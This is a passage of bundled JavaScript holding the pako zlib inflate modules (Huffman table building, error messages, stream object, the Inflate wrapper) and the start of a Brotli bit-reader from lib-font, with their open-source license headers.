if (!strm /* == Z_NULL */ || !strm.state /* == Z_NULL */) { return Z_STREAM_ERROR; }
state = strm.state;
if (state.wrap !== 0 && state.mode !== DICT) {
return Z_STREAM_ERROR;
}
/* check for correct dictionary identifier */
if (state.mode === DICT) {
dictid = 1; /* adler32(0, null, 0)*/
/* dictid = adler32(dictid, dictionary, dictLength); */
dictid = adler32(dictid, dictionary, dictLength, 0);
if (dictid !== state.check) {
return Z_DATA_ERROR;
}
}
/* copy dictionary to window using updatewindow(), which will amend the
existing dictionary if appropriate */
ret = updatewindow(strm, dictionary, dictLength, dictLength);
if (ret) {
state.mode = MEM;
return Z_MEM_ERROR;
}
state.havedict = 1;
// Tracev((stderr, "inflate: dictionary set\n"));
return Z_OK;
}
exports.inflateReset = inflateReset;
exports.inflateReset2 = inflateReset2;
exports.inflateResetKeep = inflateResetKeep;
exports.inflateInit = inflateInit;
exports.inflateInit2 = inflateInit2;
exports.inflate = inflate;
exports.inflateEnd = inflateEnd;
exports.inflateGetHeader = inflateGetHeader;
exports.inflateSetDictionary = inflateSetDictionary;
exports.inflateInfo = 'pako inflate (from Nodeca project)';
/* Not implemented
exports.inflateCopy = inflateCopy;
exports.inflateGetDictionary = inflateGetDictionary;
exports.inflateMark = inflateMark;
exports.inflatePrime = inflatePrime;
exports.inflateSync = inflateSync;
exports.inflateSyncPoint = inflateSyncPoint;
exports.inflateUndermine = inflateUndermine;
*/
},{"../utils/common":1,"./adler32":3,"./crc32":5,"./inffast":7,"./inftrees":9}],9:[function(require,module,exports){
'use strict';
// (C) 1995-2013 Jean-loup Gailly and Mark Adler
// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
//
// This software is provided 'as-is', without any express or implied
// warranty. In no event will the authors be held liable for any damages
// arising from the use of this software.
//
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it
// freely, subject to the following restrictions:
//
// 1. The origin of this software must not be misrepresented; you must not
// claim that you wrote the original software. If you use this software
// in a product, an acknowledgment in the product documentation would be
// appreciated but is not required.
// 2. Altered source versions must be plainly marked as such, and must not be
// misrepresented as being the original software.
// 3. This notice may not be removed or altered from any source distribution.
var utils = require('../utils/common');
var MAXBITS = 15;
var ENOUGH_LENS = 852;
var ENOUGH_DISTS = 592;
//var ENOUGH = (ENOUGH_LENS+ENOUGH_DISTS);
var CODES = 0;
var LENS = 1;
var DISTS = 2;
var lbase = [ /* Length codes 257..285 base */
3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31,
35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0
];
var lext = [ /* Length codes 257..285 extra */
16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18,
19, 19, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 16, 72, 78
];
var dbase = [ /* Distance codes 0..29 base */
1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193,
257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145,
8193, 12289, 16385, 24577, 0, 0
];
var dext = [ /* Distance codes 0..29 extra */
16, 16, 16, 16, 17, 17, 18, 18, 19, 19, 20, 20, 21, 21, 22, 22,
23, 23, 24, 24, 25, 25, 26, 26, 27, 27,
28, 28, 29, 29, 64, 64
];
module.exports = function inflate_table(type, lens, lens_index, codes, table, table_index, work, opts)
{
var bits = opts.bits;
//here = opts.here; /* table entry for duplication */
var len = 0; /* a code's length in bits */
var sym = 0; /* index of code symbols */
var min = 0, max = 0; /* minimum and maximum code lengths */
var root = 0; /* number of index bits for root table */
var curr = 0; /* number of index bits for current table */
var drop = 0; /* code bits to drop for sub-table */
var left = 0; /* number of prefix codes available */
var used = 0; /* code entries in table used */
var huff = 0; /* Huffman code */
var incr; /* for incrementing code, index */
var fill; /* index for replicating entries */
var low; /* low bits for current root entry */
var mask; /* mask for low root bits */
var next; /* next available space in table */
var base = null; /* base value table to use */
var base_index = 0;
// var shoextra; /* extra bits table to use */
var end; /* use base and extra for symbol > end */
var count = new utils.Buf16(MAXBITS + 1); //[MAXBITS+1]; /* number of codes of each length */
var offs = new utils.Buf16(MAXBITS + 1); //[MAXBITS+1]; /* offsets in table for each length */
var extra = null;
var extra_index = 0;
var here_bits, here_op, here_val;
/*
Process a set of code lengths to create a canonical Huffman code. The
code lengths are lens[0..codes-1]. Each length corresponds to the
symbols 0..codes-1. The Huffman code is generated by first sorting the
symbols by length from short to long, and retaining the symbol order
for codes with equal lengths. Then the code starts with all zero bits
for the first code of the shortest length, and the codes are integer
increments for the same length, and zeros are appended as the length
increases. For the deflate format, these bits are stored backwards
from their more natural integer increment ordering, and so when the
decoding tables are built in the large loop below, the integer codes
are incremented backwards.
This routine assumes, but does not check, that all of the entries in
lens[] are in the range 0..MAXBITS. The caller must assure this.
1..MAXBITS is interpreted as that code length. zero means that that
symbol does not occur in this code.
The codes are sorted by computing a count of codes for each length,
creating from that a table of starting indices for each length in the
sorted table, and then entering the symbols in order in the sorted
table. The sorted table is work[], with that space being provided by
the caller.
The length counts are used for other purposes as well, i.e. finding
the minimum and maximum length codes, determining if there are any
codes at all, checking for a valid set of lengths, and looking ahead
at length counts to determine sub-table sizes when building the
decoding tables.
*/
/* accumulate lengths for codes (assumes lens[] all in 0..MAXBITS) */
for (len = 0; len <= MAXBITS; len++) {
count[len] = 0;
}
for (sym = 0; sym < codes; sym++) {
count[lens[lens_index + sym]]++;
}
/* bound code lengths, force root to be within code lengths */
root = bits;
for (max = MAXBITS; max >= 1; max--) {
if (count[max] !== 0) { break; }
}
if (root > max) {
root = max;
}
if (max === 0) { /* no symbols to code at all */
//table.op[opts.table_index] = 64; //here.op = (var char)64; /* invalid code marker */
//table.bits[opts.table_index] = 1; //here.bits = (var char)1;
//table.val[opts.table_index++] = 0; //here.val = (var short)0;
table[table_index++] = (1 << 24) | (64 << 16) | 0;
//table.op[opts.table_index] = 64;
//table.bits[opts.table_index] = 1;
//table.val[opts.table_index++] = 0;
table[table_index++] = (1 << 24) | (64 << 16) | 0;
opts.bits = 1;
return 0; /* no symbols, but wait for decoding to report error */
}
for (min = 1; min < max; min++) {
if (count[min] !== 0) { break; }
}
if (root < min) {
root = min;
}
/* check for an over-subscribed or incomplete set of lengths */
left = 1;
for (len = 1; len <= MAXBITS; len++) {
left <<= 1;
left -= count[len];
if (left < 0) {
return -1;
} /* over-subscribed */
}
if (left > 0 && (type === CODES || max !== 1)) {
return -1; /* incomplete set */
}
/* generate offsets into symbol table for each length for sorting */
offs[1] = 0;
for (len = 1; len < MAXBITS; len++) {
offs[len + 1] = offs[len] + count[len];
}
/* sort symbols by length, by symbol order within each length */
for (sym = 0; sym < codes; sym++) {
if (lens[lens_index + sym] !== 0) {
work[offs[lens[lens_index + sym]]++] = sym;
}
}
/*
Create and fill in decoding tables. In this loop, the table being
filled is at next and has curr index bits. The code being used is huff
with length len. That code is converted to an index by dropping drop
bits off of the bottom. For codes where len is less than drop + curr,
those top drop + curr - len bits are incremented through all values to
fill the table with replicated entries.
root is the number of index bits for the root table. When len exceeds
root, sub-tables are created pointed to by the root entry with an index
of the low root bits of huff. This is saved in low to check for when a
new sub-table should be started. drop is zero when the root table is
being filled, and drop is root when sub-tables are being filled.
When a new sub-table is needed, it is necessary to look ahead in the
code lengths to determine what size sub-table is needed. The length
counts are used for this, and so count[] is decremented as codes are
entered in the tables.
used keeps track of how many table entries have been allocated from the
provided *table space. It is checked for LENS and DIST tables against
the constants ENOUGH_LENS and ENOUGH_DISTS to guard against changes in
the initial root table size constants. See the comments in inftrees.h
for more information.
sym increments through all symbols, and the loop terminates when
all codes of length max, i.e. all codes, have been processed. This
routine permits incomplete codes, so another loop after this one fills
in the rest of the decoding tables with invalid code markers.
*/
/* set up for code type */
// poor man optimization - use if-else instead of switch,
// to avoid deopts in old v8
if (type === CODES) {
base = extra = work; /* dummy value--not used */
end = 19;
} else if (type === LENS) {
base = lbase;
base_index -= 257;
extra = lext;
extra_index -= 257;
end = 256;
} else { /* DISTS */
base = dbase;
extra = dext;
end = -1;
}
/* initialize opts for loop */
huff = 0; /* starting code */
sym = 0; /* starting code symbol */
len = min; /* starting code length */
next = table_index; /* current table to fill in */
curr = root; /* current table index bits */
drop = 0; /* current bits to drop from code for index */
low = -1; /* trigger new sub-table when len > root */
used = 1 << root; /* use root table entries */
mask = used - 1; /* mask for comparing low */
/* check available table space */
if ((type === LENS && used > ENOUGH_LENS) ||
(type === DISTS && used > ENOUGH_DISTS)) {
return 1;
}
/* process all codes and make table entries */
for (;;) {
/* create table entry */
here_bits = len - drop;
if (work[sym] < end) {
here_op = 0;
here_val = work[sym];
}
else if (work[sym] > end) {
here_op = extra[extra_index + work[sym]];
here_val = base[base_index + work[sym]];
}
else {
here_op = 32 + 64; /* end of block */
here_val = 0;
}
/* replicate for those indices with low len bits equal to huff */
incr = 1 << (len - drop);
fill = 1 << curr;
min = fill; /* save offset to next table */
do {
fill -= incr;
table[next + (huff >> drop) + fill] = (here_bits << 24) | (here_op << 16) | here_val |0;
} while (fill !== 0);
/* backwards increment the len-bit code huff */
incr = 1 << (len - 1);
while (huff & incr) {
incr >>= 1;
}
if (incr !== 0) {
huff &= incr - 1;
huff += incr;
} else {
huff = 0;
}
/* go to next symbol, update count, len */
sym++;
if (--count[len] === 0) {
if (len === max) { break; }
len = lens[lens_index + work[sym]];
}
/* create new sub-table if needed */
if (len > root && (huff & mask) !== low) {
/* if first time, transition to sub-tables */
if (drop === 0) {
drop = root;
}
/* increment past last table */
next += min; /* here min is 1 << curr */
/* determine length of next table */
curr = len - drop;
left = 1 << curr;
while (curr + drop < max) {
left -= count[curr + drop];
if (left <= 0) { break; }
curr++;
left <<= 1;
}
/* check for enough space */
used += 1 << curr;
if ((type === LENS && used > ENOUGH_LENS) ||
(type === DISTS && used > ENOUGH_DISTS)) {
return 1;
}
/* point entry in root table to sub-table */
low = huff & mask;
/*table.op[low] = curr;
table.bits[low] = root;
table.val[low] = next - opts.table_index;*/
table[low] = (root << 24) | (curr << 16) | (next - table_index) |0;
}
}
/* fill in remaining table entry if code is incomplete (guaranteed to have
at most one remaining entry, since if the code is incomplete, the
maximum code length that was allowed to get this far is one bit) */
if (huff !== 0) {
//table.op[next + huff] = 64; /* invalid code marker */
//table.bits[next + huff] = len - drop;
//table.val[next + huff] = 0;
table[next + huff] = ((len - drop) << 24) | (64 << 16) |0;
}
/* set return parameters */
//opts.table_index += used;
opts.bits = root;
return 0;
};
},{"../utils/common":1}],10:[function(require,module,exports){
'use strict';
// (C) 1995-2013 Jean-loup Gailly and Mark Adler
// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
//
// This software is provided 'as-is', without any express or implied
// warranty. In no event will the authors be held liable for any damages
// arising from the use of this software.
//
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it
// freely, subject to the following restrictions:
//
// 1. The origin of this software must not be misrepresented; you must not
// claim that you wrote the original software. If you use this software
// in a product, an acknowledgment in the product documentation would be
// appreciated but is not required.
// 2. Altered source versions must be plainly marked as such, and must not be
// misrepresented as being the original software.
// 3. This notice may not be removed or altered from any source distribution.
module.exports = {
2: 'need dictionary', /* Z_NEED_DICT 2 */
1: 'stream end', /* Z_STREAM_END 1 */
0: '', /* Z_OK 0 */
'-1': 'file error', /* Z_ERRNO (-1) */
'-2': 'stream error', /* Z_STREAM_ERROR (-2) */
'-3': 'data error', /* Z_DATA_ERROR (-3) */
'-4': 'insufficient memory', /* Z_MEM_ERROR (-4) */
'-5': 'buffer error', /* Z_BUF_ERROR (-5) */
'-6': 'incompatible version' /* Z_VERSION_ERROR (-6) */
};
},{}],11:[function(require,module,exports){
'use strict';
// (C) 1995-2013 Jean-loup Gailly and Mark Adler
// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
//
// This software is provided 'as-is', without any express or implied
// warranty. In no event will the authors be held liable for any damages
// arising from the use of this software.
//
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it
// freely, subject to the following restrictions:
//
// 1. The origin of this software must not be misrepresented; you must not
// claim that you wrote the original software. If you use this software
// in a product, an acknowledgment in the product documentation would be
// appreciated but is not required.
// 2. Altered source versions must be plainly marked as such, and must not be
// misrepresented as being the original software.
// 3. This notice may not be removed or altered from any source distribution.
function ZStream() {
/* next input byte */
this.input = null; // JS specific, because we have no pointers
this.next_in = 0;
/* number of bytes available at input */
this.avail_in = 0;
/* total number of input bytes read so far */
this.total_in = 0;
/* next output byte should be put there */
this.output = null; // JS specific, because we have no pointers
this.next_out = 0;
/* remaining free space at output */
this.avail_out = 0;
/* total number of bytes output so far */
this.total_out = 0;
/* last error message, NULL if no error */
this.msg = ''/*Z_NULL*/;
/* not visible by applications */
this.state = null;
/* best guess about the data type: binary or text */
this.data_type = 2/*Z_UNKNOWN*/;
/* adler32 value of the uncompressed data */
this.adler = 0;
}
module.exports = ZStream;
},{}],"/lib/inflate.js":[function(require,module,exports){
'use strict';
var zlib_inflate = require('./zlib/inflate');
var utils = require('./utils/common');
var strings = require('./utils/strings');
var c = require('./zlib/constants');
var msg = require('./zlib/messages');
var ZStream = require('./zlib/zstream');
var GZheader = require('./zlib/gzheader');
var toString = Object.prototype.toString;
/**
* class Inflate
*
* Generic JS-style wrapper for zlib calls. If you don't need
* streaming behaviour - use more simple functions: [[inflate]]
* and [[inflateRaw]].
**/
/* internal
* inflate.chunks -> Array
*
* Chunks of output data, if [[Inflate#onData]] not overridden.
**/
/**
* Inflate.result -> Uint8Array|Array|String
*
* Uncompressed result, generated by default [[Inflate#onData]]
* and [[Inflate#onEnd]] handlers. Filled after you push last chunk
* (call [[Inflate#push]] with `Z_FINISH` / `true` param) or if you
* push a chunk with explicit flush (call [[Inflate#push]] with
* `Z_SYNC_FLUSH` param).
**/
/**
* Inflate.err -> Number
*
* Error code after inflate finished. 0 (Z_OK) on success.
* Should be checked if broken data possible.
**/
/**
* Inflate.msg -> String
*
* Error message, if [[Inflate.err]] != 0
**/
/**
* new Inflate(options)
* - options (Object): zlib inflate options.
*
* Creates new inflator instance with specified params. Throws exception
* on bad params. Supported options:
*
* - `windowBits`
* - `dictionary`
*
* [http://zlib.net/manual.html#Advanced](http://zlib.net/manual.html#Advanced)
* for more information on these.
*
* Additional options, for internal needs:
*
* - `chunkSize` - size of generated data chunks (16K by default)
* - `raw` (Boolean) - do raw inflate
* - `to` (String) - if equal to 'string', then result will be converted
* from utf8 to utf16 (javascript) string. When string output requested,
* chunk length can differ from `chunkSize`, depending on content.
*
* By default, when no options set, autodetect deflate/gzip data format via
* wrapper header.
*
* ##### Example:
*
* ```javascript
* var pako = require('pako')
* , chunk1 = Uint8Array([1,2,3,4,5,6,7,8,9])
* , chunk2 = Uint8Array([10,11,12,13,14,15,16,17,18,19]);
*
* var inflate = new pako.Inflate({ level: 3});
*
* inflate.push(chunk1, false);
* inflate.push(chunk2, true); // true -> last chunk
*
* if (inflate.err) { throw new Error(inflate.err); }
*
* console.log(inflate.result);
* ```
**/
function Inflate(options) {
if (!(this instanceof Inflate)) return new Inflate(options);
this.options = utils.assign({
chunkSize: 16384,
windowBits: 0,
to: ''
}, options || {});
var opt = this.options;
// Force window size for `raw` data, if not set directly,
// because we have no header for autodetect.
if (opt.raw && (opt.windowBits >= 0) && (opt.windowBits < 16)) {
opt.windowBits = -opt.windowBits;
if (opt.windowBits === 0) { opt.windowBits = -15; }
}
// If `windowBits` not defined (and mode not raw) - set autodetect flag for gzip/deflate
if ((opt.windowBits >= 0) && (opt.windowBits < 16) &&
!(options && options.windowBits)) {
opt.windowBits += 32;
}
// Gzip header has no info about windows size, we can do autodetect only
// for deflate. So, if window size not set, force it to max when gzip possible
if ((opt.windowBits > 15) && (opt.windowBits < 48)) {
// bit 3 (16) -> gzipped data
// bit 4 (32) -> autodetect gzip/deflate
if ((opt.windowBits & 15) === 0) {
opt.windowBits |= 15;
}
}
this.err = 0; // error code, if happens (0 = Z_OK)
this.msg = ''; // error message
this.ended = false; // used to avoid multiple onEnd() calls
this.chunks = []; // chunks of compressed data
this.strm = new ZStream();
this.strm.avail_out = 0;
var status = zlib_inflate.inflateInit2(
this.strm,
opt.windowBits
);
if (status !== c.Z_OK) {
throw new Error(msg[status]);
}
this.header = new GZheader();
zlib_inflate.inflateGetHeader(this.strm, this.header);
// Setup dictionary
if (opt.dictionary) {
// Convert data if needed
if (typeof opt.dictionary === 'string') {
opt.dictionary = strings.string2buf(opt.dictionary);
} else if (toString.call(opt.dictionary) === '[object ArrayBuffer]') {
opt.dictionary = new Uint8Array(opt.dictionary);
}
if (opt.raw) { //In raw mode we need to set the dictionary early
status = zlib_inflate.inflateSetDictionary(this.strm, opt.dictionary);
if (status !== c.Z_OK) {
throw new Error(msg[status]);
}
}
}
}
/**
* Inflate#push(data[, mode]) -> Boolean
* - data (Uint8Array|Array|ArrayBuffer|String): input data
* - mode (Number|Boolean): 0..6 for corresponding Z_NO_FLUSH..Z_TREE modes.
* See constants. Skipped or `false` means Z_NO_FLUSH, `true` means Z_FINISH.
*
* Sends input data to inflate pipe, generating [[Inflate#onData]] calls with
* new output chunks. Returns `true` on success. The last data block must have
* mode Z_FINISH (or `true`). That will flush internal pending buffers and call
* [[Inflate#onEnd]]. For interim explicit flushes (without ending the stream) you
* can use mode Z_SYNC_FLUSH, keeping the decompression context.
*
* On fail call [[Inflate#onEnd]] with error code and return false.
*
* We strongly recommend to use `Uint8Array` on input for best speed (output
* format is detected automatically). Also, don't skip last param and always
* use the same type in your code (boolean or number). That will improve JS speed.
*
* For regular `Array`-s make sure all elements are [0..255].
*
* ##### Example
*
* ```javascript
* push(chunk, false); // push one of data chunks
* ...
* push(chunk, true); // push last chunk
* ```
**/
Inflate.prototype.push = function (data, mode) {
var strm = this.strm;
var chunkSize = this.options.chunkSize;
var dictionary = this.options.dictionary;
var status, _mode;
var next_out_utf8, tail, utf8str;
// Flag to properly process Z_BUF_ERROR on testing inflate call
// when we check that all output data was flushed.
var allowBufError = false;
if (this.ended) { return false; }
_mode = (mode === ~~mode) ? mode : ((mode === true) ? c.Z_FINISH : c.Z_NO_FLUSH);
// Convert data if needed
if (typeof data === 'string') {
// Only binary strings can be decompressed on practice
strm.input = strings.binstring2buf(data);
} else if (toString.call(data) === '[object ArrayBuffer]') {
strm.input = new Uint8Array(data);
} else {
strm.input = data;
}
strm.next_in = 0;
strm.avail_in = strm.input.length;
do {
if (strm.avail_out === 0) {
strm.output = new utils.Buf8(chunkSize);
strm.next_out = 0;
strm.avail_out = chunkSize;
}
status = zlib_inflate.inflate(strm, c.Z_NO_FLUSH); /* no bad return value */
if (status === c.Z_NEED_DICT && dictionary) {
status = zlib_inflate.inflateSetDictionary(this.strm, dictionary);
}
if (status === c.Z_BUF_ERROR && allowBufError === true) {
status = c.Z_OK;
allowBufError = false;
}
if (status !== c.Z_STREAM_END && status !== c.Z_OK) {
this.onEnd(status);
this.ended = true;
return false;
}
if (strm.next_out) {
if (strm.avail_out === 0 || status === c.Z_STREAM_END || (strm.avail_in === 0 && (_mode === c.Z_FINISH || _mode === c.Z_SYNC_FLUSH))) {
if (this.options.to === 'string') {
next_out_utf8 = strings.utf8border(strm.output, strm.next_out);
tail = strm.next_out - next_out_utf8;
utf8str = strings.buf2string(strm.output, next_out_utf8);
// move tail
strm.next_out = tail;
strm.avail_out = chunkSize - tail;
if (tail) { utils.arraySet(strm.output, strm.output, next_out_utf8, tail, 0); }
this.onData(utf8str);
} else {
this.onData(utils.shrinkBuf(strm.output, strm.next_out));
}
}
}
// When no more input data, we should check that internal inflate buffers
// are flushed. The only way to do it when avail_out = 0 - run one more
// inflate pass. But if output data not exists, inflate return Z_BUF_ERROR.
// Here we set flag to process this error properly.
//
// NOTE. Deflate does not return error in this case and does not needs such
// logic.
if (strm.avail_in === 0 && strm.avail_out === 0) {
allowBufError = true;
}
} while ((strm.avail_in > 0 || strm.avail_out === 0) && status !== c.Z_STREAM_END);
if (status === c.Z_STREAM_END) {
_mode = c.Z_FINISH;
}
// Finalize on the last chunk.
if (_mode === c.Z_FINISH) {
status = zlib_inflate.inflateEnd(this.strm);
this.onEnd(status);
this.ended = true;
return status === c.Z_OK;
}
// callback interim results if Z_SYNC_FLUSH.
if (_mode === c.Z_SYNC_FLUSH) {
this.onEnd(c.Z_OK);
strm.avail_out = 0;
return true;
}
return true;
};
/**
* Inflate#onData(chunk) -> Void
* - chunk (Uint8Array|Array|String): output data. Type of array depends
* on js engine support. When string output requested, each chunk
* will be string.
*
* By default, stores data blocks in `chunks[]` property and glue
* those in `onEnd`. Override this handler, if you need another behaviour.
**/
Inflate.prototype.onData = function (chunk) {
this.chunks.push(chunk);
};
/**
* Inflate#onEnd(status) -> Void
* - status (Number): inflate status. 0 (Z_OK) on success,
* other if not.
*
* Called either after you tell inflate that the input stream is
* complete (Z_FINISH) or should be flushed (Z_SYNC_FLUSH)
* or if an error happened. By default - join collected chunks,
* free memory and fill `results` / `err` properties.
**/
Inflate.prototype.onEnd = function (status) {
// On success - join
if (status === c.Z_OK) {
if (this.options.to === 'string') {
// Glue & convert here, until we teach pako to send
// utf8 aligned strings to onData
this.result = this.chunks.join('');
} else {
this.result = utils.flattenChunks(this.chunks);
}
}
this.chunks = [];
this.err = status;
this.msg = this.strm.msg;
};
/**
* inflate(data[, options]) -> Uint8Array|Array|String
* - data (Uint8Array|Array|String): input data to decompress.
* - options (Object): zlib inflate options.
*
* Decompress `data` with inflate/ungzip and `options`. Autodetect
* format via wrapper header by default. That's why we don't provide
* separate `ungzip` method.
*
* Supported options are:
*
* - windowBits
*
* [http://zlib.net/manual.html#Advanced](http://zlib.net/manual.html#Advanced)
* for more information.
*
* Sugar (options):
*
* - `raw` (Boolean) - say that we work with raw stream, if you don't wish to specify
* negative windowBits implicitly.
* - `to` (String) - if equal to 'string', then result will be converted
* from utf8 to utf16 (javascript) string. When string output requested,
* chunk length can differ from `chunkSize`, depending on content.
*
*
* ##### Example:
*
* ```javascript
* var pako = require('pako')
* , input = pako.deflate([1,2,3,4,5,6,7,8,9])
* , output;
*
* try {
* output = pako.inflate(input);
* } catch (err)
* console.log(err);
* }
* ```
**/
function inflate(input, options) {
var inflator = new Inflate(options);
inflator.push(input, true);
// That will never happens, if you don't cheat with options :)
if (inflator.err) { throw inflator.msg || msg[inflator.err]; }
return inflator.result;
}
/**
* inflateRaw(data[, options]) -> Uint8Array|Array|String
* - data (Uint8Array|Array|String): input data to decompress.
* - options (Object): zlib inflate options.
*
* The same as [[inflate]], but creates raw data, without wrapper
* (header and adler32 crc).
**/
function inflateRaw(input, options) {
options = options || {};
options.raw = true;
return inflate(input, options);
}
/**
* ungzip(data[, options]) -> Uint8Array|Array|String
* - data (Uint8Array|Array|String): input data to decompress.
* - options (Object): zlib inflate options.
*
* Just shortcut to [[inflate]], because it autodetects format
* by header.content. Done for convenience.
**/
exports.Inflate = Inflate;
exports.inflate = inflate;
exports.inflateRaw = inflateRaw;
exports.ungzip = inflate;
},{"./utils/common":1,"./utils/strings":2,"./zlib/constants":4,"./zlib/gzheader":6,"./zlib/inflate":8,"./zlib/messages":10,"./zlib/zstream":11}]},{},[])("/lib/inflate.js")
});
/* eslint-enable */
/***/ }),
/***/ 8572:
/***/ ((module) => {
/**
* Credits:
*
* lib-font
* https://github.com/Pomax/lib-font
* https://github.com/Pomax/lib-font/blob/master/lib/unbrotli.js
*
* The MIT License (MIT)
*
* Copyright (c) 2020 pomax@nihongoresources.com
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/* eslint eslint-comments/no-unlimited-disable: 0 */
/* eslint-disable */
(function(f){if(true){module.exports=f()}else { var g; }})(function(){var define,module,exports;return (function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c=undefined;if(!f&&c)return require(i,!0);if(u)return u(i,!0);var a=new Error("Cannot find module '"+i+"'");throw a.code="MODULE_NOT_FOUND",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u=undefined,i=0;i<t.length;i++)o(t[i]);return o}return r})()({1:[function(require,module,exports){
/* Copyright 2013 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Bit reading helpers
*/
var BROTLI_READ_SIZE = 4096;
var BROTLI_IBUF_SIZE = (2 * BROTLI_READ_SIZE + 32);
var BROTLI_IBUF_MASK = (2 * BROTLI_READ_SIZE - 1);
var kBitMask = new Uint32Array([
0, 1, 3, 7, 15, 31, 63, 127, 255, 511, 1023, 2047, 4095, 8191, 16383, 32767,
65535, 131071, 262143, 524287, 1048575, 2097151, 4194303, 8388607, 16777215
]);
/* Input byte buffer, consist of a ringbuffer and a "slack" region where */
/* bytes from the start of the ringbuffer are copied. */
function BrotliBitReader(input) {
this.buf_ = new Uint8Array(BROTLI_IBUF_SIZE);
this.input_ = input; /* input callback */
this.reset();
}
BrotliBitReader.READ_SIZE = BROTLI_READ_SIZE;
BrotliBitReader.IBUF_MASK = BROTLI_IBUF_MASK;
BrotliBitReader.prototype.reset = function() {
this.buf_ptr_ = 0; /* next input will write here */
this.val_ = 0; /* pre-fetched bits */
this.pos_ = 0; /* byte position in stream */
this.bit_pos_ = 0; /* current bit-reading position in val_ */
this.bit_end_pos_ = 0; /* bit-reading end position from LSB of val_ */
this.eos_ = 0; /* input stream is finished */
this.readMoreInput();
for (var i = 0; i < 4; i++) {
this.val_ |= this.buf_[this.pos_] << (8 * i);
++this.pos_;
}
return this.bit_end_pos_ > 0;
};
/* Fills up the input ringbuffer by calling the input callback.
Does nothing if there are at least 32 bytes present after current position.
Returns 0 if either:
- the input callback returned an error, or
- there is no more input and the position is past the end of the stream.
After encountering the end of the input stream, 32 additional zero bytes are
copied to the ringbuffer, therefore it is safe to call this function after
every 32 bytes of input is read.
*/
BrotliBitReader.prototype.readMoreInput = function() {
if (this.bit_end_pos_ > 256) {
return;
} else if (this.eos_) {
if (this.bit_pos_ > this.bit_end_pos_)
throw new Error('Unexpected end of input ' + this.bit_pos_ + ' ' + this.bit_end_pos_);
} else {
var dst = this.buf_ptr_;
var bytes_read = this.input_.read(this.buf_, dst, BROTLI_READ_SIZE);
if (bytes_read < 0) {
throw new Error('Unexpected end of input');
}
if (bytes_read < BROTLI_READ_SIZE) {
this.eos_ = 1;
/* Store 32 bytes of zero after the stream end. */
for (var p = 0; p < 32; p++)
this.buf_[dst + bytes_read + p] = 0;
}
if (dst === 0) {
/* Copy the head of the ringbuffer to the slack region. */
for (var p = 0; p < 32; p++)
this.buf_[(BROTLI_READ_SIZE << 1) + p] = this.buf_[p];
this.buf_ptr_ = BROTLI_READ_SIZE;
} else {
this.buf_ptr_ = 0;
}
this.bit_end_pos_ += bytes_read << 3;
}
};
/* Guarantees that there are at least 24 bits in the buffer. */
BrotliBitReader.prototype.fillBitWindow = function() {
while (this.bit_pos_ >= 8) {
this.val_ >>>= 8;
this.val_ |= this.buf_[this.pos_ & BROTLI_IBUF_MASK] << 24;
++this.pos_;
this.bit_pos_ = this.bit_pos_ - 8 >>> 0;
this.bit_end_pos_ = this.bit_end_pos_ - 8 >>> 0;
}
};
/* Reads the specified number of bits from Read Buffer. */
BrotliBitReader.prototype.readBits = function(n_bits) {
if (32 - this.bit_pos_ < n_bits) {
this.fillBitWindow();
}
var val = ((this.val_ >>> this.bit_pos_) & kBitMask[n_bits]);
this.bit_pos_ += n_bits;
return val;
};
module.exports = BrotliBitReader;
},{}],2:[function(require,module,exports){
/* Copyright 2013 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Lookup table to map the previous two bytes to a context id.
There are four different context modeling modes defined here:
CONTEXT_LSB6: context id is the least significant 6 bits of the last byte,
CONTEXT_MSB6: context id is the most significant 6 bits of the last byte,
CONTEXT_UTF8: second-order context model tuned for UTF8-encoded text,
CONTEXT_SIGNED: second-order context model tuned for signed integers.
The context id for the UTF8 context model is calculated as follows. If p1
and p2 are the previous two bytes, we calcualte the context as
